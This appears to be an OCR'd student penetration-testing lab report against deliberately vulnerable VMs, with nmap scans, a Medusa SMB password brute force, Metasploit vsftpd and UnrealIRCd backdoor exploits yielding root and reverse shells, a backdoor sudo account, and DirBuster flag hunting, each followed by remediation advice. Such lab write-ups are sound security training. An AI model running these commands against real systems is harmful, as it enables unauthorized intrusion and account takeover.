3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

6667/tcp open irc UnrealIRCd

8009/tcp open ajpi3 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

53/udp open domain ISC BIND 9.4.2

69/udp open|filtered tftp

111/udp open rpcbind 2 (RPC #100000)

137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
138/udp open|filtered netbios-dgm

2049/udp open nfs 2-4 (RPC #100003)

49393/udp open nlockmgr 1-4 (RPC #100021)

MAC Address: 00:50:56:8E:37:F1 (VMware)

Device type: general purpose

Running: Linux 2.6.X

0S CPE: cpe:/o:linux:linux_kernel:2.6

0S details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN, METASP
LOITABLE; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Screenshot of 192.168.1.40 scan results.
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Nmap scan report for 192.168.1.50

Host is up (0.00017s latency).

Not shown: 998 closed udp ports (port-unreach), 991 closed tcp ports (reset)
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.3pl1 Debian 3ubuntu4 (Ubuntu Linux;
protocol 2.0)

80/tcp open http Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3
PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Pytho
n/2.6.5 mod_ssl1/2.2.14 OpenSSL ... )

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Courier Imapd (released 2008)

443/tcp open ssl/http Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3
PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Pytho
n/2.6.5 mod_ssl1/2.2.14 OpenSSL ... )

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
5001/tcp open java-object Java Object Serialization

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8081/tcp open http Jetty 6.1.25

137/udp open netbios-ns Microsoft Windows netbios-ns (workgroup: WORK
GROUP)

138/udp open|filtered netbios-dgm

1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?n
ew-service
SF-Port5001-TCP:V=7.92%I=7%D=3/4%Time=67C7A8C1%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4,"\xac\xed\0\x05");

MAC Address: 00:50:56:8E:DD:32 (VMware)

Device type: general purpose

Running: Linux 2.6.X

0S CPE: cpe:/o:linux:linux_kernel:2.6

0S details: Linux 2.6.17 - 2.6.36

Network Distance: 1 hop

Service Info: Host: OWASPBWA; 0Ss: Linux, Windows; CPE: cpe:/o:linux:linux_kerne
1, cpe:/o:microsoft:windows

Screenshot of 192.168.1.50 scan results.
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ASSESSMENT 3: PASSWORD ATTACK

SOFTWARE

e Kali Linux 2021.4
e Medusa?2.2

. wordlist

ASSESSMENT

During reconnaissance, an account with the username isistudent was uncovered on the
312ville host. The purpose of this penetration testing attack was to evaluate the security of this

account by determining if it is vulnerable to password attacks.

The first step of this assessment was selecting a password attacking tool (in this case,
Medusa). Afterwards, a command is crafted using known information such as the IP address of

the target system and the username of the account to attack. Next, using the
wordlist, Medusa executes a dictionary attack on the target with the module. The correct

password mazda1995 was discovered after around 300,000 attempts.

ACCOUNT CHECK: [smbnt] Host: 192.168.1.10 (1 of 1, © complete) User: isistudent
(1 of 1, © complete) Password: mazlin (300008 of 14344391 complete)

ACCOUNT CHECK: [smbnt] Host: 192.168.1.10 (1 of 1, @ complete) User: isistudent
(1 of 1, @0 complete) Password: mazen (300009 of 14344391 complete)

ACCOUNT CHECK: [smbnt] Host: 192.168.1.10 (1 of 1, @ complete) User: isistudent
(1 of 1, 0 complete) Password: mazdal995 (300010 of 14344391 complete)

ACCOUNT FOUND: [smbnt] Host: 192.168.1.10 User: isistudent Password: mazdal995 [

SUCCESS (ADMIN$ - Access Denied)]

2 ~
192.168.1.10 isistudent /usr/share/wordlists/rockyou.txt
smbnt
Medusa v2.2 [http://ww.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.n
et>

Screenshot showing the end of the password attack.
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VULNERABILITY & REMEDIATION

In addition to the presence of a weak user password (insufficient length and complexity, uses a

dictionary word), there is no control in place to detect and/or prevent a brute-force attack.

Consider the following remediations:

1. Improve password complexity requirements.

a. The weak password was relatively easy to crack due to its low complexity.
Requiring passwords to be more complex (e.g., 16+ characters, no dictionary
words, enforce uppercase/lowercase/numbers/symbols) could drastically decrease
brute-force attack success rates within any reasonable amount of time.

2. Improve general password policy.

a. Requiring users to change passwords periodically could make it more difficult for
attacks to gain access to accounts and move laterally. However, this is only
effective if new passwords are sufficiently complex and unique.

3. Use a security appliance to detect and prevent brute-force attempts.
a. Implementing and configuring an intrusion detection/prevention system (e.g.,

Snort) could prevent brute force attempts over the network.
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ASSESSMENT 4: PRIVILEGE ESCALATION

SOFTWARE

e Kali Linux 2021.4
e Nmap 7.92
e Metasploit 6.1.23-dev

ASSESSMENT

While scanning the MSP2 host, a vulnerable FTP service was discovered. The purpose of
this penetration testing attack was to determine whether privilege escalation was possible via this

service.

The first step of this assessment was determining the exact version of the vulnerable FTP

service, which was done using nmap. Afterwards, Metasploit was used to search for an

appropriate exploit with |search vsftpd. After selecting an exploit, the appropriate options

were set and the attack was initiated. This granted a remote shell as the root user, which
essentially allows full control over the target system. From here, a new privileged user account

was created.
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msfé > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check D
escription

0 exploit/unix/ftp/Msftpd_234_backdoor 2011-07-03
SFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example

msf6 > use 0
No payload configured, defaulting to cmd/unix/interact
msf6 exploit( ) > set RHOSTS 192.168.1.40
RHOSTS = 192.168.1.40
msfé exploit( ) > exploit

192.168.1.40:21 Banner: 220 (vsFTPd 2.3.4)

192.168.1.40:21 USER: 331 Please specify the password.

192.168.1.40:21 Backdoor service has been spawned, handling...

192.168.1.40:21 UID: uid=0(root) gid=0(root)

Found shell.

Command shell session 1 opened (192.168.1.60:36267 — 192.168.1.40:6200 ) at
2025-03-04 18:59:22 -0500

whoami
root

Screenshot showing FTP service exploitation.

whoami

root

useradd testuser
passwd testuser

Enter new UNIX password: password
Retype new UNIX password: password
passwd: password updated successfully
usermod -aG sudo testuser

Screenshot showing new privileged user.
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VULNERABILITY & REMEDIATION

The host is running an outdated and/or vulnerable service with root privileges.

Consider the following remediations:

1. Update, replace, or remove the vulnerable service.

a. The response depends on an organization’s needs. The safest approach is to
simply eliminate the service if it is no longer needed. Otherwise, install a patch
that addresses the vulnerability or search for a replacement service that is not
vulnerable.

2. Reduce the privileges of the service.

a. Currently, anyone that exploits the vulnerability is granted a root shell with full

control over the system. Create a less privileged user to run the service instead of

running it with the root user.
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ASSESSMENT 5: HIDDEN WEB CONTENT

SOFTWARE

Kali Linux 2021.4

Dirbuster 1.0-RC1

directory-list-1.0.txt/and dictionary-list-2.3-medium.txt wordlists
Firefox

ASSESSMENT

In this assessment, the website hosted on the 312ville machine was scanned

for hidden content. Although it may not be possible to access them via search results or links

contained on the site itself, pages and directories can still be accessed with a direct URL. Steps in

this assessment included configuring to scan the site for flags.
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File Options About Help

Target URL (eg http://example.com:80/)
http://192.168.1.10:80

Work Method () Use GET requests only (») Auto Switch (HEAD and GET)

Number Of Threads =7} 1 10 Threads []Go Faster

Select scanning type: (5) List based brute force () Pure Brute Force
File with list of dirsffiles
Jusrfshare/wordlists/dirbuster/directory-list-1.0.txt | [@ Browse] [ © List InfnJ

a-zA-Z0-9%20-_ '] Min length Max Length |:|

Select starting options: (») Standard start point () URL Fuz

Char set

[¥] Brute Force Dirs [ Be Recursive Dir to start with [/isihack

Brute Force Files ["] Use Blank Extension File extension ‘txt

URL to fuzz - jtest.html?url={dir}.asp

[192.168.1.10:80

> start

DirBuster Stopped

Screenshot showing dirbuster configuration.

Type | Found | Response Size
FiTe NSIMaCK/SNop. aspX 20U 7278
Dir fisihack// 200 4119
File fisihack//loginsi.aspx 200 4718
File fisihack//ProductList.aspx 200 3249
File fisihack//FeedBack.aspx 200 2652
File fisihack//myAccount.aspx 200 4438
File fisihack//shop.aspx 200 7274
File fisihack/hacker.txt 200 421
Dir fisihack/(cwfyrsradSl2zedhfwgm45)/ 200 4140
Dir fisihack/Barracks/ 200 462
Dir fisihack/(fuzwqeS5k3i2bi3axm21yqSs)/ 200 4140
File fisihack/Barracks/flagl.txt 200 293
Dir fisihack/login_token/ 200 471

Screenshot showing flags 1 and 2.

Type [ Found Response Size
oir 7 20U 938 .
File fisihack/loginsi.aspx 200 4718 E
File fisihack/ProductList.aspx 200 3249
File fisihack/myAccount.aspx 200 4438
File fisihack/FeedBack.aspx 200 2652
File fisihack/shop.aspx 200 7274
File fisihack/hacker.txt 200 421\~
Dir fisihack/App_Themes/ 200 469
Dir fisihack/App_Themes/Themel/ 200 502|
File fisihack/Hacker. txt 200 421"
Dir fisihack/programas/ 200 465
File fisihack/programas/flag3.txt 200 271
Dir fisihack/app_themes/ 200 469|
Dir fisihack/app_themes/Themel/ 200 502 =

Screenshot showing flag 3.
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VULNERABILITY & REMEDIATION

The website is crawlable and “hidden” content is visible via enumeration attacks.

Consider the following remediations:

1. Remove “hidden” content.

a. Any content that is not intended to be accessible to the Internet should be
removed from the site entirely. Otherwise, assume that enumeration tools will
eventually discover the URL and access page content.

2. Implement rate limiting.

a. The nature of enumeration attacks means that an excessively high number of 404

errors will likely be generated. Utilize a tool such as Fail2Ban to watch logs for

this indicator and block or rate limit the associated IP address.
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ASSESSMENT 9: METASPLOITABLE 2

SOFTWARE

e Kali Linux 2021.4
e Metasploit 6.1.23-dev

ASSESSMENT

The purpose of this assessment was to discover and exploit a vulnerability on the
Metasploitable 2 machine that had not been previously identified in another assignment from this
semester. My first step involved referring to previously obtained scan results for the system and

looking for vulnerable services. I worked my way down the list to the IRC service and began

searching for exploits within Metasploit using |search unreal (service name is UnrealIRC).

This returned the exploit demonstrated in the screenshot below.

msf6 exploit( ) > exploit

Started reverse TCP double handler on 192.168.1.60:4444

192.168.1.40:6667 - Connected to 192.168.1.40:6667 ...

:irc.Metasploitable.LAN NOTICE AUTH :***x Looking up your hostname ...

:irc.Metasploitable.LAN NOTICE AUTH :#%** Couldn't resolve your hostname; usi
ng your IP address instead

192.168.1.40:6667 - Sending backdoor command ...

Accepted the first client connection...

Accepted the second client connection...

Command: echo 3ZtLTocdvBwébnlTM;

Writing to socket A

Writing to socket B

Reading from sockets...

Reading from socket B

B: "3ZtLTocdvBw6nlTM\r\n"

Matching ...

A is input...

Command shell session 1 opened (192.168.1.60:4444 — 192.168.1.40:60471 ) at
2025-03-04 20:38:32 -0500

whoami

root

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 G
NU/Linux

Screenshot showing vulnerable IRC service exploitation.
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VULNERABILITY & REMEDIATION

The system is running a vulnerable IRC service that has a backdoor.

Consider the following remediations:

1. Remove the IRC service.
a. Operators should consider using a different service to handle communication
needs.
2. Replace the IRC service.
a. If IRC must be used, replace the service with a secure version that does not

contain a backdoor.
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